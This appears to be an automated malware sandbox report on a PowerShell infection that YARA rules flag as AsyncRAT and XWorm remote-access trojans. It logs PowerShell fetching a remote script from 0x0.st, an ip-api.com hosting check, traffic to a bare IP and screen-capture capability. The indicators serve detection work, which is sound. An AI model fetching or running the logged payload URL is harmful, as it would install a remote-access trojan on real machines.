Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215
Source: unknown	TCP traffic detected without corresponding DNS query: 185.241.208.215

Source: global traffic	HTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: 0x0.st
Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com

Source: powershell.exe, 00000005.00000002.2325412269.000001D313C04000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1945403188.000001D7CD0F5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2074612069.000001E1AA55A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2248750195.000002CC07437000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2323673539.0000020600C04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://0x0.st
Source: svchost.exe, 0000001F.00000003.2316380909.0000028695218000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.31.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: svchost.exe, 0000001F.00000003.2316380909.0000028695218000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: qmgr.db.31.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.31.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 0000001F.00000003.2316380909.0000028695218000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.31.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 0000001F.00000003.2316380909.0000028695218000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.31.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 0000001F.00000003.2316380909.000002869524D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.31.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.31.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000005.00000002.2325412269.000001D3133DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2325412269.000001D312D1B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2325412269.000001D3133D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: powershell.exe, 00000005.00000002.2325412269.000001D312D1B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2325412269.000001D3133C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: powershell.exe, 00000005.00000002.2547321212.000001D322523000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000005.00000002.2325412269.000001D3126D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000005.00000002.2325412269.000001D3124B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1945403188.000001D7CC4F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2074612069.000001E1A9956000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2248750195.000002CC06836000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2323673539.0000020600006000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.2325412269.000001D3126D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000005.00000002.2325412269.000001D313B49000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1945403188.000001D7CCDF9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1945403188.000001D7CC71D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2074612069.000001E1AA4A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2074612069.000001E1A9B7C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2248750195.000002CC0715A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2248750195.000002CC06A5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2323673539.000002060022C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2323673539.0000020600903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://0x0.st
Source: powershell.exe, 0000001C.00000002.2323673539.0000020600903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://0x0.st/8KuV.ps1
Source: powershell.exe, 00000005.00000002.2325412269.000001D3124B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1945403188.000001D7CC4F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2074612069.000001E1A9956000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2248750195.000002CC06836000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2323673539.0000020600006000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000005.00000002.2547321212.000001D322523000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.2547321212.000001D322523000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.2547321212.000001D322523000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: svchost.exe, 0000001F.00000003.2316380909.00000286952C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.31.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: svchost.exe, 0000001F.00000003.2316380909.00000286952FF000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.2316380909.000002869520E000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.31.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 0000001F.00000003.2316380909.00000286952C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.31.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: svchost.exe, 0000001F.00000003.2316380909.00000286952A3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.2316380909.0000028695307000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.2316380909.00000286952C2000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.2316380909.00000286952E8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.31.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 0000001F.00000003.2316380909.00000286952C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: powershell.exe, 00000005.00000002.2325412269.000001D3126D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000005.00000002.2325412269.000001D3133E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000005.00000002.2547321212.000001D322523000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: svchost.exe, 0000001F.00000003.2316380909.00000286952C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.31.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: svchost.exe, 0000001F.00000003.2316380909.0000028695272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.4:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.4:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.4:50043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.4:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.4:50047 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected AsyncRAT

Source: Yara match	File source: 5.2.powershell.exe.1d3133b65d0.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1e1aa26a4b0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.2cc0714a0b0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ccdde538.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1d3133975c0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.20601de4450.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.206008ed970.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ccde7168.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.2cc07141480.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1e1aa248728.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.2cc07127e40.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.206008f65a0.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.20601dfa830.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.20601dfa830.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ce2d5060.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ccde7168.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.20601de4450.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ce2d5060.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7e4bb0000.16.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ce2eb440.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1e1aa261880.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.206008f65a0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ccdde538.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.206008ed970.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1e1aa248728.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1d3133ad9a0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ce2eb440.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7e4bb0000.16.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1d3133975c0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.2cc07127e40.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.2074612069.000001E1AA212000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2323673539.00000206008C2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2323673539.0000020601DF8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2323673539.0000020601DC4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2325412269.000001D313377000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1945403188.000001D7CE2B5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1945403188.000001D7CE2E9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1969459274.000001D7E4BB0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2248750195.000002CC070F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1945403188.000001D7CCDB3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2323673539.0000020601DE4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2720, type: MEMORYSTR

Contains functionality to capture screen (.Net source)

Source: 5.2.powershell.exe.1d32a870000.9.raw.unpack, RemoteDesktop.cs

.Net Code: GetScreen

System Summary

Malicious sample detected (through community Yara rule)

Source: 5.2.powershell.exe.1d3133b65d0.8.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 5.2.powershell.exe.1d3133b65d0.8.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 18.2.powershell.exe.1e1aa26a4b0.1.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 18.2.powershell.exe.1e1aa26a4b0.1.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 23.2.powershell.exe.2cc0714a0b0.4.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 23.2.powershell.exe.2cc0714a0b0.4.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 11.2.powershell.exe.1d7ccdde538.9.raw.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 11.2.powershell.exe.1d7ccdde538.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 18.2.powershell.exe.1e1aa26a4b0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 18.2.powershell.exe.1e1aa26a4b0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 5.2.powershell.exe.1d3133975c0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 5.2.powershell.exe.1d3133975c0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 28.2.powershell.exe.20601de4450.13.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 28.2.powershell.exe.20601de4450.13.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 28.2.powershell.exe.206008ed970.0.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 28.2.powershell.exe.206008ed970.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 11.2.powershell.exe.1d7ccde7168.12.raw.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 11.2.powershell.exe.1d7ccde7168.12.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 23.2.powershell.exe.2cc07141480.1.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 23.2.powershell.exe.2cc07141480.1.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 18.2.powershell.exe.1e1aa248728.8.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 18.2.powershell.exe.1e1aa248728.8.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 5.2.powershell.exe.1d3133b65d0.8.raw.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 5.2.powershell.exe.1d3133b65d0.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 23.2.powershell.exe.2cc07127e40.3.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 23.2.powershell.exe.2cc07127e40.3.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 28.2.powershell.exe.206008f65a0.7.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 28.2.powershell.exe.206008f65a0.7.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 28.2.powershell.exe.20601dfa830.9.raw.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 28.2.powershell.exe.20601dfa830.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 23.2.powershell.exe.2cc0714a0b0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 28.2.powershell.exe.20601dfa830.9.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 28.2.powershell.exe.20601dfa830.9.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 23.2.powershell.exe.2cc0714a0b0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 11.2.powershell.exe.1d7ce2d5060.3.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 11.2.powershell.exe.1d7ce2d5060.3.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 11.2.powershell.exe.1d7ccde7168.12.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 11.2.powershell.exe.1d7ccde7168.12.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 28.2.powershell.exe.20601de4450.13.raw.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 28.2.powershell.exe.20601de4450.13.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 11.2.powershell.exe.1d7ce2d5060.3.raw.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 11.2.powershell.exe.1d7ce2d5060.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 11.2.powershell.exe.1d7e4bb0000.16.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 11.2.powershell.exe.1d7e4bb0000.16.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 11.2.powershell.exe.1d7ce2eb440.2.raw.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 11.2.powershell.exe.1d7ce2eb440.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 18.2.powershell.exe.1e1aa261880.9.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 18.2.powershell.exe.1e1aa261880.9.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 28.2.powershell.exe.206008f65a0.7.raw.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 28.2.powershell.exe.206008f65a0.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 5.2.powershell.exe.1d3133ad9a0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 5.2.powershell.exe.1d3133ad9a0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 18.2.powershell.exe.1e1aa261880.9.raw.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 18.2.powershell.exe.1e1aa261880.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 11.2.powershell.exe.1d7ccdde538.9.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 11.2.powershell.exe.1d7ccdde538.9.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 28.2.powershell.exe.206008ed970.0.raw.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 28.2.powershell.exe.206008ed970.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 18.2.powershell.exe.1e1aa248728.8.raw.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 18.2.powershell.exe.1e1aa248728.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 5.2.powershell.exe.1d3133ad9a0.3.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 5.2.powershell.exe.1d3133ad9a0.3.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 11.2.powershell.exe.1d7ce2eb440.2.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 11.2.powershell.exe.1d7ce2eb440.2.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 11.2.powershell.exe.1d7e4bb0000.16.raw.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 11.2.powershell.exe.1d7e4bb0000.16.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 5.2.powershell.exe.1d3133975c0.0.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
